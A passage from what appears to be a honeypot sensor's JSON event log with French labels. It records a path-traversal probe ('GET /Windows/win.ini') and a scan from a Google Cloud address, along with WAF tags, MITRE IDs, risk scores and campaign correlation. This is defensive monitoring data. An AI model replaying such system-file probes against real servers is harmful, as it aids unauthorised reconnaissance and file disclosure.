\u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228111\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 5, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8111","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_sensitive_path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":226},{"id":14646428,"ip":"34.19.116.51","ts":"2026-07-31 15:15:36.000000","proto":"tcp","src_port":36865,"dst_port":8111,"service":"http","classification":"lfi_path_traversal","waf_score":27,"waf_tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/Windows\/win.ini","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 2, \u0022http_path_ext\u0022: \u0022ini\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022bffaa2abb7d9ce91f1039eb55cd73d62a6f71f46\u0022, \u0022http_target_hash\u0022: \u0022b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 231, \u0022payload_entropy\u0022: 5.408342655967147, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8111, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 69, \u0022tag_count\u0022: 5, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002225aff8e0edcbc9cb3e576dbec740c12725527085\u0022, \u0022event_fingerprint\u0022: \u0022ca3adf9af6a177f3b65e49a80e8d7c78d31f91b1\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 146, \u0022precision_signals\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-0715\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 930150 boot ini\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0715\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 69, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022path_traversal\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00221539a11ea0691d969c1f4e55dbc22fa0\u0022, \u0022path_pattern_hash\u0022: \u00224a136e1e1f4d3c20d824eefa8bc8174c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8111, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 69}, \u0022payload_preview\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macin\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macin\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macin\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1083\u0022], \u0022mitre\u0022: \u0022T1083\u0022, \u0022threat_family\u0022: [\u0022path_traversal\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022873a8fdc621cbfdacd6d3fa61370fcba50281db9\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8111, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macin\u0022, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/Windows\/win.ini\u0022, \u0022target_port_label\u0022: \u00228111 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 69, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 69, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8111, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1083\u0022, \u0022mitre_technique\u0022: \u0022T1083\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8111, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/Windows\/win.ini\u0022, \u0022evidence_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macin\u0022, \u0022target_port_label\u0022: \u00228111 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228111\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 5, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8111","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":231},{"id":14635737,"ip":"34.19.116.51","ts":"2026-07-31 15:11:58.000000","proto":"tcp","src_port":2437,"dst_port":8009,"service":"http","classification":"port_scan_syn","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022c6541a35e90bbf49732b5425fcba7b96d2956c62\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 216, \u0022payload_entropy\u0022: 5.40264011953198, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8009, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 54, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e5e7d1fde4f1d90d23a82d2cebcec1dc2659a8a8\u0022, \u0022event_fingerprint\u0022: \u0022e2e50ec6b84c4699fc85a2c811b0def81cf1a2a4\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 231, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 54, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00226accc7df10e92e4a630013bef6f644a9\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8009, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 54}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002290e05568a17a8bcfc9f7bc5851feefab7d25a862\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8009, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8009 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228009 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 54, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 54, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8009, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: 